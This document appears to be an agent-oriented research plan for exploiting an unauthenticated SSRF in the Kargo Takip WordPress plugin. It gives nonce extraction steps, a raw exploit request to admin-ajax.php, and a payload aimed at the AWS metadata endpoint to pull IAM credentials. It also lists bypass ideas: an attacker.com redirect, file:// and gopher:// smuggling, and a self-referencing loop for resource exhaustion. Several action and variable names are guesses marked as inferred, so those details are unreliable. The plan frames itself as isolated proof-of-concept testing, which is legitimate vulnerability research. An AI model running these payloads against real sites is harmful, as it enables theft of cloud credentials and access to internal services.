Kargo Takip <= 1.2 - Unauthenticated Server-Side Request Forgery via 'api_url' Parameter

This research plan outlines the steps to investigate and exploit CVE-2026-12095, an unauthenticated Server-Side Request Forgery (SSRF) in the Kargo Takip plugin for WordPress.

1. Vulnerability Summary

The Kargo Takip plugin (versions <= 1.2) fails to validate the api_url parameter before using it in a server-side HTTP request. An unauthenticated attacker can provide an arbitrary URL (including internal IP addresses or loopback) to the plugin. The plugin then fetches the content of that URL. Critically, if the response is JSON, the plugin extracts and echoes the value associated with the auth key. This allows for both SSRF and the exfiltration of sensitive data from internal services (like cloud metadata or internal APIs) that use JSON structures.

2. Attack Vector Analysis

• Endpoint: Likely wp-admin/admin-ajax.php or a frontend initialization hook (init or wp_loaded).
• Action: If AJAX-based, the action is likely kargo_sorgula or kt_get_api_data (inferred).
• Vulnerable Parameter: api_url.
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active. A specific nonce may be required if the developer attempted CSRF protection, though the CVE notes it as unauthenticated.

3. Code Flow (Inferred)

Based on the vulnerability description, the expected execution path is:

1. Entry Point: An unauthenticated user sends a request to admin-ajax.php with a specific action (e.g., kt_fetch_status) and the api_url parameter.
2. Handler Registration: The plugin registers the action via add_action( 'wp_ajax_nopriv_...', ... ).
3. Data Fetching: The handler retrieves the api_url from $_REQUEST['api_url'] and passes it to an HTTP function like wp_remote_get() or curl_init().
4. JSON Processing: The response body is parsed using json_decode().
5. Information Leak: The code checks if ( isset( $json['auth'] ) ) and performs an echo $json['auth'];.
6. Response: The internal data is returned to the attacker's browser.

4. Nonce Acquisition Strategy

If the plugin enforces a nonce check even for unauthenticated users, it will likely be exposed via wp_localize_script.

Strategy:

1. Identify Shortcode: Search the plugin code for add_shortcode. (e.g., [kargo_takip]).
2. Setup Test Page: Create a page containing this shortcode to ensure scripts are enqueued.

   wp post create --post_type=page --post_status=publish --post_title="Tracking" --post_content='[kargo_takip]'
   

3. Extract Nonce:
   • Navigate to the newly created page.
   • Identify the localization variable in the source code (e.g., kt_ajax_vars).
   • Use browser_eval to extract the nonce:
     browser_eval("window.kt_ajax_vars?.nonce") (inferred variable name).

5. Exploitation Strategy

Phase 1: Confirmation (Internal Loopback)

Test if the plugin can reach the WordPress site's own internal structure.

• Tool: http_request
• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Parameters:
  • action: kt_get_api_data (inferred - verify via grep -r "wp_ajax_nopriv" in the plugin dir)
  • api_url: http://127.0.0.1/wp-json/
  • nonce: (Extracted in step 4)

Phase 2: Data Exfiltration (Cloud Metadata)

If the target is hosted on AWS, attempt to pull IAM credentials.

• Payload: api_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
• Note: Since the plugin looks for an auth key, this specific endpoint might not return the data unless the metadata service response contains that key.

Phase 3: Targeted SSRF (Mocking "auth" key)

To prove the vulnerability in an isolated environment, set up a mock internal service or a file on the server.

1. Create a file mock.json in the web root: {"auth": "SSRF_SUCCESS_EXFILTRATED_DATA"}.
2. Send the exploit request:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=kt_get_api_data&api_url=http://localhost/mock.json&nonce=VALUE
   

6. Test Data Setup

1. Install Plugin: Ensure kargo-takip version 1.2 is installed.
2. Create Trigger Page:
   wp post create --post_type=page --post_status=publish --post_content='[kargo_takip]'
3. Internal Mock Service (for PoC):
   echo '{"auth": "vuln-confirmed-72"}' > /var/www/html/auth-test.json

7. Expected Results

• Success: The HTTP response from admin-ajax.php contains the string vuln-confirmed-72.
• Failure: The response is 0, a 403 Forbidden (nonce issue), or an empty response (if the auth key logic is not triggered).

8. Verification Steps

After running the http_request exploit:

1. Check Access Logs: Verify the web server access logs to see if the server made a request to itself (127.0.0.1) for the auth-test.json file.
   tail -n 20 /var/log/apache2/access.log
2. Verify Response: Confirm the output of the http_request tool matches the content of the auth key in the mock JSON file.

9. Alternative Approaches

• Redirect Bypass: If wp_remote_get is used with default settings, try using an external URL that redirects to an internal IP (e.g., http://attacker.com/redir -> http://127.0.0.1).
• Protocol Smuggling: Test if the api_url supports other protocols like file:// or gopher://, though wp_remote_get usually restricts these to HTTP/S.
• Recursive Parameter: Check if api_url can be pointed back to the vulnerable endpoint itself to create a loop or resource exhaustion.